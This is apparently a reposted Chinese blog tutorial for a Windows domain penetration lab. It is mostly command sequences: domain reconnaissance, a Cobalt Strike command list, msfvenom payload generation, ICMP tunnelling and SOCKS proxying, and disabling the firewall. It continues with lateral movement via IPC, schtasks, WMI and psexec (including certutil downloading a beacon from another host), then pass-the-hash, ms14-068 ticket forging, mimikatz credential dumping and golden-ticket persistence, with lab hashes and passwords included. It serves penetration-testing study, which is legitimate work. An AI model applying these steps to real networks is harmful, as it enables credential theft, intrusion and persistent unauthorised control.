环境下载在这里,需要请自行下载链接:https://pan.baidu.com/s/1yVrX9v5cMV9_BuBmW5OlDg?pwd=vsi3
提取码:vsi3
--来自百度网盘超级会员V2的分享
域内一共有五台主机,都在192.168.3.0网段,需要自行在webserver上添加NAT模式网卡
域
域在我的理解就是一个局域网,管理员为了便于操作域内主机,通常会有一个DC(domain control),域控主机可以直接控制其他域内主机,相当于域内的管理员权限,内网渗透的终极目的即拿到域控的权限。
在域控中的主机可以有两种登录方式,普通账户登录和域内账户登录,普通域内用户的权限是很低的,安装程序,修改密码等等都需要向域控申请才能完成。
域控机器
如图,域控可以管理域内的机器和用户
域内信息收集
当我们拿下一台主机后,可以通过
systeminfo 详细信息
netstat -ano 端口列表
route print 路由表
net start 启动服务
tasklist 进程列表
schtasks 计划任务
ipconfig /all 判断存在域
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
wmic service list brief 查询本机服务
net config workstation 查询当前登录域及登录用户信息
wmic startup get command,caption 查看已启动的程序信息
如图,我的电脑是一台个人主机,没有域
现在,我再用域内的web服务器用户,可以看到有god域
当判断自己在域中,可以尝试进行信息收集
net view /domain 查询域列表
net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦
用来判 断主域,主域一般用做时间服务器
net localgroup administrators 本机管理员【通常含有域用户】
net user /domain 查询域用户(当前域)
net group /domain 查询域工作组
net group "domain computers" /domain 查看加入域的所有计算机名
net group "domain admins" /domain 查询域管理员用户组和域管用户
net localgroup administrators /domain 查看域管理员
net group "domain controllers" /domain 查看域控
net accounts /domain 查看域密码策略
查看本机管理员
查看域内主机
查看域管理员用户
查看域控主机
我们想要通过域内主机拿到域控权限,首先就要获得目标IP地址
net time /domain 获取域控主机名,ping获取目标IP
God.org环境搭建
这里我给web服务器加上连接外网的网卡,所有主机在同一内网
这里我使用CS这一工具,CS在内网渗透比较方便
CS命令大全
browserpivot 注入受害者浏览器进程
sleep 3 全部命令3秒执行
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd.exe 打开cmd终端
shell ipconfig 执行ipconfig命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
我们可以利用工具进行信息收集,先假设我们获得了web服务器的权限
进行端口扫描
这里,我们确定了三个目标
192.168.3.21:445 (platform: 500 version: 6.1 name: OWA2010CN-GOD domain: GOD)
5065 5060 3389 995 993 808 636 593 587 464 443 389 143 139 135 110 88 80 53 25 445
192.168.3.25:445 (platform: 500 version: 6.1 name: MARY-PC domain: GOD)
192.168.3.31:445 (platform: 500 version: 6.1 name: WEBSERVER domain: GOD)
使用CS的权限提升插件将拿到的权限进行权限提升
拿到system权限后可以进行密码抓取
我们可以假设域内有相同密码的机器,使用抓取的密码进行横向移动
这里失败了,前面做好信息收集确定目标用户信息后进行横向移动
隧道技术
在内网渗透中,可能会出现内网机器开启防火墙,对入站和出站规则进行限制,因此我们需要学习隧道技术,隧道和代理是不一样的,隧道解决的是两个网络本来可以通信,因为防火墙等的限制需要采用其他协议来进行通信,代理解决的是不能通信的网络通过跳板机完成实现通信的效果
如图,开启防火墙,拒绝所有TCP连接
这时候,我们的木马自然不起作用了,但是ping命令是可以用的,所以可以借助ICMP搭建隧道
kali生成MSF木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=6666 -f exe >msf.exe
kali开启监听
kali开启隧道
控制目标机器以管理员权限运行隧道
运行kali生成木马
目标机器成功上线msf
这里的原理是通过木马 监听目标机器的6666端口,通过隧道将3333端口的流量通过ICMP协议转化到kali,再由隧道的服务端将ICMP转换成TCP,实现权限传递
隧道技术解决的是后渗透阶段将权限移交给MSF,CS等工具的问题
ICMP隧道 ping命令
DNS隧道 nslookup命令
代理技术
在内网渗透的过程中,经常遇到目标域只有一个web服务器连接外网,其他主机全部在内网环境,而想要进行内网渗透,就需要借助域暴露在外网的主机作为跳板机,实现内网的横向移动
MSF
现在MSF获得了域暴露在外网服务器的权限
msf需要配置路由,这是和CS不同一点
run post/multi/manage/autoroute
run autoroute -p
background
search socks
use auxiliary/server/socks_proxy
run
使用Sockscap工具,设置MSF服务器为代理
如图,成功访问位于内网的主机
这里还有一个代理工具,适合Windows系统
CS
CS设置代理转发
根据CS客户端选择代理
同样可以建立连接
上线
这里先设置TCP监听器,然后生成stageless模式后门
假设我们已经获得了目标的权限,可是目标在内网,需要移交权限给CS进行后渗透,运行后门
然后再通过前面已经连接的后门进行正向连接,实现上线
Windows 防火墙命令
Windows防火墙设置的入站和出站规则可能影响内网渗透,如果拥有足够的权限,可以尝试关闭防火墙
Windows 防火墙命令:
https://www.cnblogs.com/tomtellyou/p/16300557.html
查看当前防火墙状态:netsh advfirewall show allprofiles
关闭防火墙:netsh advfirewall set allprofiles state off
开启防火墙:netsh advfirewall set allprofiles state on
恢复初始防火墙设置:netsh advfirewall reset
启用桌面防火墙: netsh advfirewall set allprofiles state on
设置默认输入和输出策略:netsh advfirewall set allprofiles
firewallpolicy allowinbound,allowoutbound
如果设置为拒绝使用 blockinbound,blockoutbound
横向移动
网络拓扑图如下
确定域环境
确定域控owa2010cn-god.god.org的IP为192.168.3.21
确定域内用户
右键选择凭证提权,权限提升进行提权,这里我选择的是ms14-058
进行端口扫描
可以看到,扫描到以下目标
抓取明文密码
还可以抓取hash值,只要有用户登录到这台主机,用户就会将hash写到内存中,这时就可以读取
因为域控机器在内网环境,所以生成的木马需要主动监听端口,然后采用正向连接
IPC
IPC(共享命名管道资源)其实就是为了实现进程间通信而开放的命名管道;IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源使用
at<windows2012
net use \192.168.3.21\ipc$ "Admin12345" /user:god.org\ad
ministrator 建立IPC连接
查看文件目录
将生成的木马上传到被我们控制的webserver
shell copy 4444.exe \192.168.3.21\c$ 拷贝执行文件到目标机器
shell at \192.168.3.21 21:38 c:\4444.exe 添加计划任务
connect 192.168.3.21 4444 正向连接木马
直接拿到了域控权限
这里也可以通过前面的代理技术反向连接木马
首先设置代理转发
再使用前面的代理生成后门
后门按照前面的步骤传递再执行即可,就不用连接操作了
schtasks >=Windows2012
net use \192.168.3.32\ipc$ "Admin!@#45" /user:god.org\ad
ministrator # 建立 ipc 连接:
copy beacon.exe \192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn beacon /sc
DAILY /tr c:\beacon.exe /F #创 beacon 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行 beacon 任务
schtasks /delete /s 192.168.3.21 /tn beacon /f#删除 beacon 任务
CS工具
先删除原来的连接
可以看到成功建立了IPC连接
接下来的步骤就是传送木马,运行木马了
也可以删除连接
WMI
WMI 是通过 135 端口进行利用,支持用户名明文或者 hash 的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
1.wmic
内部:(单执行)
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45
process call create "cmd.exe /c certutil -urlcache -split -f
http://192.168.3.31/beacon.exe c:/beacon.exe"
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45
process call create "cmd.exe c:/beacon.exe"
2.cscript
内置:(交互式)
上传 wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator
Admin12345
3.wmiexec-impacket
外部:(交互式&单执行)
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec -
hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.
3.32 "whoami"
下载后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c
certutil -urlcache -split -f http://192.168.3.31/beacon.exe
c:/beacon.exe"
执行后门:
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c
c:/beacon.exe"
SMB
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放
1.psexec
内部:(交互式 windows 官方工具)
psexec64 \192.168.3.32 -u administrator -p admin!@#45 -s cmd
外部:(交互式 外人开发的工具)
psexec -
hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168. 3.32
2.CS
可以使用CS的横向移动psexec方式
PTH
PTH = Pass The Hash,通过密码散列值 (通常是 NTLM Hash)来进行攻击。
在域环境中,用户登录计算机时使用的域账号,计算机会用相同本地管理员账号和密码。
因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方
法登录到内网主机的其他计算机。Windows2003及之前用的是LM加密,不安全可以被逆向破解,所以后面使用NTML加密
NTML加密过程
1、client发送账户名user到server
2、server判断本地账户名是否存在,没有则失败,有的话生成challenge,查找user对应的NTLM哈希,使用哈希加密challenge,生成一个net-ntlm hash存在内存中,将challenge发送给client
3、cLient接受到challenge以后,将自己的密码转换成NTLM哈希,用生成的哈希加密challenge生成response,发送response给server
4、server对比自己内存中的net-ntlm hash与client发来的response是否一致
注意:challenge每次认证都不一样,是一个随机生成的16字节随机数
mimiakatz
(不推荐,弹cmd,能连上rdp时可以使用)
ip不行时就用主机名
连接域用户,导入到了内存中,之后利用票据在进行以下操作
mimikatz sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
连接本地用户
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:sqlserver /ntlm:518b98ad4178a53695dc997aa02d455c
net use \192.168.3.32\c$
copy beacon.exe \192.168.3.32\c$
sc \sqlserver create bshell binpath= "c:\4.exe"
sc \sqlserver start bshell
impaket psexec
本地用户
执行命令
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
弹cmd
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
域用户
psexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32
crackmapexec
#域用户HASH登录
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c
#本地用户HASH登录,-x参数执行命令
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518b98ad4178a53695dc997aa02d455c --local-auth
PTT
漏洞(ms14-068) 伪造新用户身份
获取SID值:
shell whoami/user
生成票据文件(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
清除票据连接
shell klist purge
查看但前票据
shell klist
内存导入票据 (cs自带mimakatz)
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
查看目标主机目录结构
shell dir \OWA2010CN-GOD\c$
连接目标上线
shell net use \OWA2010CN-GOD\C$
copy beacon.exe \OWA2010CN-GOD\C$
sc \OWA2010CN-GOD create bindshell binpath= "c:\beacon.exe"
sc \OWA2010CN-GOD start bindshell
kekeo 利用ntml生成新的票据
主要是看是不是高权限的ntml,这样生成的票据才能够成功
生成票据(在本地开代理执行或上传执行都可以,本地执行需要上传票据)
shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
导入票据
shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
查看票据(cs自带命令)
shell klist
利用票据连接
shell dir \owa2010cn-god\c$
mimiakatz 利用的历史遗留票据
主要是看域管理员等一些高权限用户是否登陆过,并且票据没有过期,mimikatz抓取密码时权限要高权限用户才能抓取
导出票据
mimikatz sekurlsa::tickets /export
导入票据
mimikatz kerberos::ptt C:\Users\webadmin\Desktop[0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi
查看票据
shell klist
利用票据连接
shell dir \owa2010cn-god\c$
PTK
利用条件:
当系统安装了KB2871997补丁且禁用了NTLM
mimikatz sekurlsa::ekeys mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
权限维持
1、域名:god.org
2、域的 SID 值:S-1-5-21-1218902331-2157346161-1782232778
whoami /user
whoami /all
wmic useraccount get name,sid
3、域的 KRBTGT 账户 NTLM-HASH:b097d7ed97495408e1537f706c357fc5
mimikatz privilege::debug
mimikatz lsadump::lsa /patch
4、伪造用户名:webadmin(任意用户名)
生成票据:
mimikatz kerberos::golden /user:webadmin /domain:god.org /sid:S-
1-5-21-1218902331-2157346161-1782232778
/krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:g
导入内存:
mimikatz kerberos::ptt g
访问测试:
dir \owa2010cn-god\c$
后期渗透
net use \owa2010cn-god
版权归原作者 blackK_YC 所有, 如有侵权,请联系我们删除。